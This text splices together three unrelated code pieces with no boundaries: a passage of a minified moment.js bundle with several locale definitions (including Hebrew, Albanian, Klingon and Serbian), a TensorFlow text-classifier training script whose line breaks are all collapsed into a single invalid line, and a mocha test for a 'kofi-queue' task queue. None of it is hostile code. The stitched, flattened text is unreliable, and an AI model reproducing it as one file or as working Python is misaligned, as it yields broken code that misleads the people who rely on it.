e,t,n,a,r,i,s,o,l=Un(this._milliseconds)/1e3,d=Un(this._days),u=Un(this._months),c=this.asSeconds();return c?(e=G(l/60),t=G(e/60),l%=60,e%=60,n=G(u/12),u%=12,a=l?l.toFixed(3).replace(/\.?0+$/,""):"",r=c<0?"-":"",i=$n(this._months)!==$n(c)?"-":"",s=$n(this._days)!==$n(c)?"-":"",o=$n(this._milliseconds)!==$n(c)?"-":"",r+"P"+(n?i+n+"Y":"")+(u?i+u+"M":"")+(d?s+d+"D":"")+(t||e||l?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(l?o+a+"S":"")):"P0D"}var Zn=Ct.prototype;return Zn.isValid=function(){return this._isValid},Zn.abs=function(){var e=this._data;return this._milliseconds=Ln(this._milliseconds),this._days=Ln(this._days),this._months=Ln(this._months),e.milliseconds=Ln(e.milliseconds),e.seconds=Ln(e.seconds),e.minutes=Ln(e.minutes),e.hours=Ln(e.hours),e.months=Ln(e.months),e.years=Ln(e.years),this},Zn.add=function(e,t){return kn(this,e,t,1)},Zn.subtract=function(e,t){return kn(this,e,t,-1)},Zn.as=function(e){if(!this.isValid())return NaN;var t,n,a=this._milliseconds;if("month"===(e=W(e))||"quarter"===e||"year"===e)switch(n=this._months+xn(t=this._days+a/864e5),e){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(t=this._days+Math.round(Dn(this._months)),e){case"week":return t/7+a/6048e5;case"day":return t+a/864e5;case"hour":return 24*t+a/36e5;case"minute":return 1440*t+a/6e4;case"second":return 86400*t+a/1e3;case"millisecond":return Math.floor(864e5*t)+a;default:throw new Error("Unknown unit "+e)}},Zn.asMilliseconds=Tn,Zn.asSeconds=Sn,Zn.asMinutes=Cn,Zn.asHours=jn,Zn.asDays=On,Zn.asWeeks=Hn,Zn.asMonths=An,Zn.asQuarters=Pn,Zn.asYears=Fn,Zn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*J(this._months/12):NaN},Zn._bubble=function(){var e,t,n,a,r,i=this._milliseconds,s=this._days,o=this._months,l=this._data;return i>=0&&s>=0&&o>=0||i<=0&&s<=0&&o<=0||(i+=864e5*wn(Dn(o)+s),s=0,o=0),l.milliseconds=i%1e3,e=G(i/1e3),l.seconds=e%60,t=G(e/60),l.minutes=t%60,n=G(t/60),l.hours=n%24,s+=G(n/24),o+=r=G(xn(s)),s-=wn(Dn(r)),a=G(o/12),o%=12,l.days=s,l.months=o,l.years=a,this},Zn.clone=function(){return Wt(this)},Zn.get=function(e){return e=W(e),this.isValid()?this[e+"s"]():NaN},Zn.milliseconds=En,Zn.seconds=Rn,Zn.minutes=Nn,Zn.hours=Wn,Zn.days=zn,Zn.weeks=function(){return G(this.days()/7)},Zn.months=Vn,Zn.years=qn,Zn.humanize=function(e,t){if(!this.isValid())return this.localeData().invalidDate();var n,a,r=!1,i=Gn;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(r=e),"object"==typeof t&&(i=Object.assign({},Gn,t),null!=t.s&&null==t.ss&&(i.ss=t.s-1)),a=function(e,t,n,a){var r=Wt(e).abs(),i=Bn(r.as("s")),s=Bn(r.as("m")),o=Bn(r.as("h")),l=Bn(r.as("d")),d=Bn(r.as("M")),u=Bn(r.as("w")),c=Bn(r.as("y")),h=i<=n.ss&&["s",i]||i<n.s&&["ss",i]||s<=1&&["m"]||s<n.m&&["mm",s]||o<=1&&["h"]||o<n.h&&["hh",o]||l<=1&&["d"]||l<n.d&&["dd",l];return null!=n.w&&(h=h||u<=1&&["w"]||u<n.w&&["ww",u]),(h=h||d<=1&&["M"]||d<n.M&&["MM",d]||c<=1&&["y"]||["yy",c])[2]=t,h[3]=+e>0,h[4]=a,Jn.apply(null,h)}(this,!r,i,n=this.localeData()),r&&(a=n.pastFuture(+this,a)),n.postformat(a)},Zn.toISOString=Kn,Zn.toString=Kn,Zn.toJSON=Kn,Zn.locale=Xt,Zn.localeData=en,Zn.toIsoString=w("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Kn),Zn.lang=Qt,F("X",0,0,"unix"),F("x",0,0,"valueOf"),_e("x",ue),_e("X",/[+-]?\d+(\.\d{1,3})?/),ye("X",(function(e,t,n){n._d=new Date(1e3*parseFloat(e))})),ye("x",(function(e,t,n){n._d=new Date(J(e))})),r.version="2.29.1",t=xt,r.fn=pn,r.min=function(){var e=[].slice.call(arguments,0);return Tt("isBefore",e)},r.max=function(){var e=[].slice.call(arguments,0);return Tt("isAfter",e)},r.now=function(){return Date.now?Date.now():+new Date},r.utc=_,r.unix=function(e){return xt(1e3*e)},r.months=function(e,t){return Mn(e,t,"months")},r.isDate=c,r.locale=st,r.invalid=g,r.duration=Wt,r.isMoment=L,r.weekdays=function(e,t,n){return vn(e,t,n,"weekdays")},r.parseZone=function(){return xt.apply(null,arguments).parseZone()},r.localeData=lt,r.isDuration=jt,r.monthsShort=function(e,t){return Mn(e,t,"monthsShort")},r.weekdaysMin=function(e,t,n){return vn(e,t,n,"weekdaysMin")},r.defineLocale=ot,r.updateLocale=function(e,t){if(null!=t){var n,a,r=et;null!=tt[e]&&null!=tt[e].parentLocale?tt[e].set(S(tt[e]._config,t)):(null!=(a=it(e))&&(r=a._config),t=S(r,t),null==a&&(t.abbr=e),(n=new C(t)).parentLocale=tt[e],tt[e]=n),st(e)}else null!=tt[e]&&(null!=tt[e].parentLocale?(tt[e]=tt[e].parentLocale,e===st()&&st(e)):null!=tt[e]&&delete tt[e]);return tt[e]},r.locales=function(){return x(tt)},r.weekdaysShort=function(e,t,n){return vn(e,t,n,"weekdaysShort")},r.normalizeUnits=W,r.relativeTimeRounding=function(e){return void 0===e?Bn:"function"==typeof e&&(Bn=e,!0)},r.relativeTimeThreshold=function(e,t){return void 0!==Gn[e]&&(void 0===t?Gn[e]:(Gn[e]=t,"s"===e&&(Gn.ss=t-1),!0))},r.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},r.prototype=pn,r.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},r}()}).call(this,n("YuTi")(e))},x6pH:function(e,t,n){!function(e){"use strict";e.defineLocale("he",{months:"\u05d9\u05e0\u05d5\u05d0\u05e8_\u05e4\u05d1\u05e8\u05d5\u05d0\u05e8_\u05de\u05e8\u05e5_\u05d0\u05e4\u05e8\u05d9\u05dc_\u05de\u05d0\u05d9_\u05d9\u05d5\u05e0\u05d9_\u05d9\u05d5\u05dc\u05d9_\u05d0\u05d5\u05d2\u05d5\u05e1\u05d8_\u05e1\u05e4\u05d8\u05de\u05d1\u05e8_\u05d0\u05d5\u05e7\u05d8\u05d5\u05d1\u05e8_\u05e0\u05d5\u05d1\u05de\u05d1\u05e8_\u05d3\u05e6\u05de\u05d1\u05e8".split("_"),monthsShort:"\u05d9\u05e0\u05d5\u05f3_\u05e4\u05d1\u05e8\u05f3_\u05de\u05e8\u05e5_\u05d0\u05e4\u05e8\u05f3_\u05de\u05d0\u05d9_\u05d9\u05d5\u05e0\u05d9_\u05d9\u05d5\u05dc\u05d9_\u05d0\u05d5\u05d2\u05f3_\u05e1\u05e4\u05d8\u05f3_\u05d0\u05d5\u05e7\u05f3_\u05e0\u05d5\u05d1\u05f3_\u05d3\u05e6\u05de\u05f3".split("_"),weekdays:"\u05e8\u05d0\u05e9\u05d5\u05df_\u05e9\u05e0\u05d9_\u05e9\u05dc\u05d9\u05e9\u05d9_\u05e8\u05d1\u05d9\u05e2\u05d9_\u05d7\u05de\u05d9\u05e9\u05d9_\u05e9\u05d9\u05e9\u05d9_\u05e9\u05d1\u05ea".split("_"),weekdaysShort:"\u05d0\u05f3_\u05d1\u05f3_\u05d2\u05f3_\u05d3\u05f3_\u05d4\u05f3_\u05d5\u05f3_\u05e9\u05f3".split("_"),weekdaysMin:"\u05d0_\u05d1_\u05d2_\u05d3_\u05d4_\u05d5_\u05e9".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [\u05d1]MMMM YYYY",LLL:"D [\u05d1]MMMM YYYY HH:mm",LLLL:"dddd, D [\u05d1]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[\u05d4\u05d9\u05d5\u05dd \u05d1\u05be]LT",nextDay:"[\u05de\u05d7\u05e8 \u05d1\u05be]LT",nextWeek:"dddd [\u05d1\u05e9\u05e2\u05d4] LT",lastDay:"[\u05d0\u05ea\u05de\u05d5\u05dc \u05d1\u05be]LT",lastWeek:"[\u05d1\u05d9\u05d5\u05dd] dddd [\u05d4\u05d0\u05d7\u05e8\u05d5\u05df \u05d1\u05e9\u05e2\u05d4] LT",sameElse:"L"},relativeTime:{future:"\u05d1\u05e2\u05d5\u05d3 %s",past:"\u05dc\u05e4\u05e0\u05d9 %s",s:"\u05de\u05e1\u05e4\u05e8 \u05e9\u05e0\u05d9\u05d5\u05ea",ss:"%d \u05e9\u05e0\u05d9\u05d5\u05ea",m:"\u05d3\u05e7\u05d4",mm:"%d \u05d3\u05e7\u05d5\u05ea",h:"\u05e9\u05e2\u05d4",hh:function(e){return 2===e?"\u05e9\u05e2\u05ea\u05d9\u05d9\u05dd":e+" \u05e9\u05e2\u05d5\u05ea"},d:"\u05d9\u05d5\u05dd",dd:function(e){return 2===e?"\u05d9\u05d5\u05de\u05d9\u05d9\u05dd":e+" \u05d9\u05de\u05d9\u05dd"},M:"\u05d7\u05d5\u05d3\u05e9",MM:function(e){return 2===e?"\u05d7\u05d5\u05d3\u05e9\u05d9\u05d9\u05dd":e+" \u05d7\u05d5\u05d3\u05e9\u05d9\u05dd"},y:"\u05e9\u05e0\u05d4",yy:function(e){return 2===e?"\u05e9\u05e0\u05ea\u05d9\u05d9\u05dd":e%10==0&&10!==e?e+" \u05e9\u05e0\u05d4":e+" \u05e9\u05e0\u05d9\u05dd"}},meridiemParse:/\u05d0\u05d7\u05d4"\u05e6|\u05dc\u05e4\u05e0\u05d4"\u05e6|\u05d0\u05d7\u05e8\u05d9 \u05d4\u05e6\u05d4\u05e8\u05d9\u05d9\u05dd|\u05dc\u05e4\u05e0\u05d9 \u05d4\u05e6\u05d4\u05e8\u05d9\u05d9\u05dd|\u05dc\u05e4\u05e0\u05d5\u05ea \u05d1\u05d5\u05e7\u05e8|\u05d1\u05d1\u05d5\u05e7\u05e8|\u05d1\u05e2\u05e8\u05d1/i,isPM:function(e){return/^(\u05d0\u05d7\u05d4"\u05e6|\u05d0\u05d7\u05e8\u05d9 \u05d4\u05e6\u05d4\u05e8\u05d9\u05d9\u05dd|\u05d1\u05e2\u05e8\u05d1)$/.test(e)},meridiem:function(e,t,n){return e<5?"\u05dc\u05e4\u05e0\u05d5\u05ea \u05d1\u05d5\u05e7\u05e8":e<10?"\u05d1\u05d1\u05d5\u05e7\u05e8":e<12?n?'\u05dc\u05e4\u05e0\u05d4"\u05e6':"\u05dc\u05e4\u05e0\u05d9 \u05d4\u05e6\u05d4\u05e8\u05d9\u05d9\u05dd":e<18?n?'\u05d0\u05d7\u05d4"\u05e6':"\u05d0\u05d7\u05e8\u05d9 \u05d4\u05e6\u05d4\u05e8\u05d9\u05d9\u05dd":"\u05d1\u05e2\u05e8\u05d1"}})}(n("wd/R"))},xutz:function(e,t,n){"use strict";(function(e){var a=n("XqMk"),r="object"==typeof exports&&exports&&!exports.nodeType&&exports,i=r&&"object"==typeof e&&e&&!e.nodeType&&e,s=i&&i.exports===r&&a.a.process,o=function(){try{return i&&i.require&&i.require("util").types||s&&s.binding&&s.binding("util")}catch(e){}}();t.a=o}).call(this,n("3UD+")(e))},yPMs:function(e,t,n){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_N\xebntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_N\xebn_Dhj".split("_"),weekdays:"E Diel_E H\xebn\xeb_E Mart\xeb_E M\xebrkur\xeb_E Enjte_E Premte_E Shtun\xeb".split("_"),weekdaysShort:"Die_H\xebn_Mar_M\xebr_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_M\xeb_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,n){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot n\xeb] LT",nextDay:"[Nes\xebr n\xeb] LT",nextWeek:"dddd [n\xeb] LT",lastDay:"[Dje n\xeb] LT",lastWeek:"dddd [e kaluar n\xeb] LT",sameElse:"L"},relativeTime:{future:"n\xeb %s",past:"%s m\xeb par\xeb",s:"disa sekonda",ss:"%d sekonda",m:"nj\xeb minut\xeb",mm:"%d minuta",h:"nj\xeb or\xeb",hh:"%d or\xeb",d:"nj\xeb dit\xeb",dd:"%d dit\xeb",M:"nj\xeb muaj",MM:"%d muaj",y:"nj\xeb vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},z1FC:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n m\xedut","'iens m\xedut"],mm:[e+" m\xeduts",e+" m\xeduts"],h:["'n \xfeora","'iensa \xfeora"],hh:[e+" \xfeoras",e+" \xfeoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return a||t?r[n][0]:r[n][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Mar\xe7_Avr\xefu_Mai_G\xfcn_Julia_Guscht_Setemvar_Listop\xe4ts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_G\xfcn_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"S\xfaladi_L\xfane\xe7i_Maitzi_M\xe1rcuri_Xh\xfaadi_Vi\xe9ner\xe7i_S\xe1turi".split("_"),weekdaysShort:"S\xfal_L\xfan_Mai_M\xe1r_Xh\xfa_Vi\xe9_S\xe1t".split("_"),weekdaysMin:"S\xfa_L\xfa_Ma_M\xe1_Xh_Vi_S\xe1".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,n){return e>11?n?"d'o":"D'O":n?"d'a":"D'A"},calendar:{sameDay:"[oxhi \xe0] LT",nextDay:"[dem\xe0 \xe0] LT",nextWeek:"dddd [\xe0] LT",lastDay:"[ieiri \xe0] LT",lastWeek:"[s\xfcr el] dddd [lasteu \xe0] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},z3Vd:function(e,t,n){!function(e){"use strict";var t="pagh_wa\u2019_cha\u2019_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function n(e,n,a,r){var i=function(e){var n=Math.floor(e%1e3/100),a=Math.floor(e%100/10),r=e%10,i="";return n>0&&(i+=t[n]+"vatlh"),a>0&&(i+=(""!==i?" ":"")+t[a]+"maH"),r>0&&(i+=(""!==i?" ":"")+t[r]),""===i?"pagh":i}(e);switch(a){case"ss":return i+" lup";case"mm":return i+" tup";case"hh":return i+" rep";case"dd":return i+" jaj";case"MM":return i+" jar";case"yy":return i+" DIS"}}e.defineLocale("tlh",{months:"tera\u2019 jar wa\u2019_tera\u2019 jar cha\u2019_tera\u2019 jar wej_tera\u2019 jar loS_tera\u2019 jar vagh_tera\u2019 jar jav_tera\u2019 jar Soch_tera\u2019 jar chorgh_tera\u2019 jar Hut_tera\u2019 jar wa\u2019maH_tera\u2019 jar wa\u2019maH wa\u2019_tera\u2019 jar wa\u2019maH cha\u2019".split("_"),monthsShort:"jar wa\u2019_jar cha\u2019_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa\u2019maH_jar wa\u2019maH wa\u2019_jar wa\u2019maH cha\u2019".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa\u2019leS] LT",nextWeek:"LLL",lastDay:"[wa\u2019Hu\u2019] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:function(e){var t=e;return-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"},past:function(e){var t=e;return-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu\u2019":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"},s:"puS lup",ss:n,m:"wa\u2019 tup",mm:n,h:"wa\u2019 rep",hh:n,d:"wa\u2019 jaj",dd:n,M:"wa\u2019 jar",MM:n,y:"wa\u2019 DIS",yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},zx6S:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jedne minute"],mm:["minut","minute","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mesec","meseca","meseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,a){var r=t.words[a];return 1===a.length?n?r[0]:r[1]:e+" "+t.correctGrammaticalCase(e,r)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_\u010detvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._\u010det._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_\u010de_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[ju\u010de u] LT",lastWeek:function(){return["[pro\u0161le] [nedelje] [u] LT","[pro\u0161log] [ponedeljka] [u] LT","[pro\u0161log] [utorka] [u] LT","[pro\u0161le] [srede] [u] LT","[pro\u0161log] [\u010detvrtka] [u] LT","[pro\u0161log] [petka] [u] LT","[pro\u0161le] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))}}]);
# -*- coding: utf-8 -*- import os import sys import csv import time import json import datetime import pickle as pkl import tensorflow as tf from tensorflow.contrib import learn import data_utils from rnn_classifier import rnn_clf from cnn_classifier import cnn_clf from clstm_classifier import clstm_clf from sklearn.model_selection import train_test_split log_dir = './logs' # Show warnings and errors only os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' #Create log_dir for evaluation information if not os.path.exists(log_dir): os.mkdir(log_dir) # Parameters # ============================================================================= # Model choices tf.flags.DEFINE_string('clf', 'cnn', "Type of classifiers. Default: cnn. You have 2 choices: [cnn, clstm]") # Data parameters tf.flags.DEFINE_string('data_file', None, 'Data file path') tf.flags.DEFINE_string('stop_word_file', None, 'Stop word file path') tf.flags.DEFINE_string('language', 'en', "Language of the data file.") tf.flags.DEFINE_integer('min_frequency', 0, 'Minimal word frequency') tf.flags.DEFINE_integer('num_classes', 4, 'Number of classes') tf.flags.DEFINE_integer('max_length', 0, 'Max document length') tf.flags.DEFINE_integer('vocab_size', 0, 'Vocabulary size') tf.flags.DEFINE_float('test_size', 0.1, 'Cross validation test size') # Model hyperparameters tf.flags.DEFINE_integer('embedding_size', 256, 'Word embedding size. For CNN, C-LSTM.') tf.flags.DEFINE_string('filter_sizes', '3, 4, 5', 'CNN filter sizes. For CNN, C-LSTM.') tf.flags.DEFINE_integer('num_filters', 128, 'Number of filters per filter size. For CNN, C-LSTM.') tf.flags.DEFINE_integer('hidden_size', 128, 'Number of hidden units in the LSTM cell. For C-LSTM') tf.flags.DEFINE_integer('num_layers', 2, 'Number of the LSTM cells. For C-LSTM') tf.flags.DEFINE_float('keep_prob', 0.5, 'Dropout keep probability') # All tf.flags.DEFINE_float('learning_rate', 1e-3, 'Learning rate') # All tf.flags.DEFINE_float('l2_reg_lambda', 0.001, 'L2 regularization lambda') # All # Training parameters tf.flags.DEFINE_integer('batch_size', 32, 'Batch size') tf.flags.DEFINE_integer('num_epochs', 50, 'Number of epochs') tf.flags.DEFINE_float('decay_rate', 1, 'Learning rate decay rate. Range: (0, 1]') # Learning rate decay tf.flags.DEFINE_integer('decay_steps', 100000, 'Learning rate decay steps') # Learning rate decay tf.flags.DEFINE_integer('evaluate_every_steps', 100, 'Evaluate the model on validation set after this many steps') tf.flags.DEFINE_integer('save_every_steps', 1000, 'Save the model after this many steps') tf.flags.DEFINE_integer('num_checkpoint', 10, 'Number of models to store') FLAGS = tf.app.flags.FLAGS if FLAGS.clf == 'lstm': FLAGS.embedding_size = FLAGS.hidden_size elif FLAGS.clf == 'clstm': FLAGS.hidden_size = len(FLAGS.filter_sizes.split(",")) * FLAGS.num_filters # # Output files directory # timestamp = str(int(time.time())) # outdir = os.path.abspath(os.path.join(os.path.curdir, "runs", timestamp)) # if not os.path.exists(outdir): # os.makedirs(outdir) # Load and save data # ============================================================================= data, labels, lengths, vocab_processor = data_utils.load_data(file_path=FLAGS.data_file, sw_path=FLAGS.stop_word_file, min_frequency=FLAGS.min_frequency, max_length=FLAGS.max_length, language=FLAGS.language, shuffle=True) # Save vocabulary processor vocab_processor.save(os.path.join(data_utils.outdir, 'vocab')) FLAGS.vocab_size = len(vocab_processor.vocabulary_._mapping) FLAGS.max_length = vocab_processor.max_document_length params = FLAGS.flag_values_dict() # Print parameters model = params['clf'] if model == 'cnn': print("cnn model") del params['hidden_size'] del params['num_layers'] elif model == 'clstm': print("clstm model") params['hidden_size'] = len(list(map(int, params['filter_sizes'].split(",")))) * params['num_filters'] params_dict = sorted(params.items(), key=lambda x: x[0]) print('Parameters:') for item in params_dict: print('{}: {}'.format(item[0], item[1])) print('') # Save parameters to file params_file = open(os.path.join(data_utils.outdir, 'params.pkl'), 'wb') pkl.dump(params, params_file, True) params_file.close() print("parameters saved to file \'params.pkl\'") # Simple Cross validation print("train_test_split and cross validation set made") x_train, x_valid, y_train, y_valid, train_lengths, valid_lengths = train_test_split(data, labels, lengths, test_size=FLAGS.test_size, random_state=22) # print("=====>>>",type(x_train)) print(x_train[:]) # Batch iterator train_data = data_utils.batch_iter(x_train, y_train, train_lengths, FLAGS.batch_size, FLAGS.num_epochs) print("=====>>>train_data generator is successfully created with Tensorflow flags") # Train # ============================================================================= with tf.Graph().as_default(): with tf.Session() as sess: print("................................Inside Tensorflow Activated Session................................") if FLAGS.clf == 'cnn': classifier = cnn_clf(FLAGS) elif FLAGS.clf == 'clstm': classifier = clstm_clf(FLAGS) else: raise ValueError('clf should be one of [cnn, clstm]') print("=====>>>",type(classifier)) print("=====>>>",classifier) # Train procedure global_step = tf.Variable(0, name='global_step', trainable=False) # Learning rate decay starter_learning_rate = FLAGS.learning_rate learning_rate = tf.train.exponential_decay(starter_learning_rate, global_step, FLAGS.decay_steps, FLAGS.decay_rate, staircase=True) optimizer = tf.train.AdamOptimizer(learning_rate) grads_and_vars = optimizer.compute_gradients(classifier.cost) train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step) # Summaries print ("Recording Summaries") loss_summary = tf.summary.scalar('Loss', classifier.cost) accuracy_summary = tf.summary.scalar('Accuracy', classifier.accuracy) # Train summary print ("Recording Train Summaries in file") train_summary_op = tf.summary.merge_all() train_summary_dir = os.path.join(data_utils.outdir, 'summaries', 'train') train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) # Validation summary print ("Recording Validation Summaries in file") valid_summary_op = tf.summary.merge_all() valid_summary_dir = os.path.join(data_utils.outdir, 'summaries', 'valid') valid_summary_writer = tf.summary.FileWriter(valid_summary_dir, sess.graph) saver = tf.train.Saver(max_to_keep=FLAGS.num_checkpoint) sess.run(tf.global_variables_initializer()) def run_step(input_data, is_training=True): """Run one step of the training process.""" input_x, input_y, sequence_length = input_data fetches = {'step': global_step, 'cost': classifier.cost, 'accuracy': classifier.accuracy, 'learning_rate': learning_rate} feed_dict = {classifier.input_x: input_x, classifier.input_y: input_y} if FLAGS.clf != 'cnn': fetches['final_state'] = classifier.final_state feed_dict[classifier.batch_size] = len(input_x) feed_dict[classifier.sequence_length] = sequence_length if is_training: fetches['train_op'] = train_op fetches['summaries'] = train_summary_op feed_dict[classifier.keep_prob] = FLAGS.keep_prob else: fetches['summaries'] = valid_summary_op feed_dict[classifier.keep_prob] = 1.0 vars = sess.run(fetches, feed_dict) step = vars['step'] cost = vars['cost'] accuracy = vars['accuracy'] summaries = vars['summaries'] # Write summaries to file if is_training: train_summary_writer.add_summary(summaries, step) else: valid_summary_writer.add_summary(summaries, step) time_str = datetime.datetime.now().isoformat() print("{}: step: {}, loss: {:g}, accuracy: {:g}".format(time_str, step, cost, accuracy)) return accuracy print('Start training ...') for train_input in train_data: run_step(train_input, is_training=True) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every_steps == 0: print('\nValidation') run_step((x_valid, y_valid, valid_lengths), is_training=False) print('') if current_step % FLAGS.save_every_steps == 0: save_path = saver.save(sess, os.path.join(data_utils.outdir, 'model/clf'), current_step) print('\nAll the files have been saved to {}\n'.format(data_utils.outdir))
let assert = require("assert"); let kofi = require("../.bundle/kofi-queue.js"); describe("queue", function () { it("executes all functions provided", function (done) { let q = kofi.queue(); let e1 = false, e2 = false, e3 = false; q.then(function (next) { e1 = true; return next(); }); q.then(function (next) { e2 = true; return next(); }); q.then(function (next) { return setTimeout(function () { e3 = true; return next(); }, 100); }); q.catch(function (error) { return done(new Error("ERROR RUNNING QUEUE")); }); q.finish(function () { assert.equal(e1, true); assert.equal(e2, true); assert.equal(e3, true); return done(); }); }); it("calls the provided function with catch if there is an error in a task", function (done) { let q = kofi.queue(); let e1 = false, e2 = false, e3 = false; q.then(function (next) { e1 = true; return next(); }); q.then(function (next) { e2 = true; return next(new Error("")); }); q.then(function (next) { e3 = true; return next(); }); q.finish(function () { return done(new Error("")); }); q.catch(function (error) { assert.equal(typeof error, "object"); assert.equal(e1, true); assert.equal(e2, true); assert.equal(e3, false); return done(); }); }); });
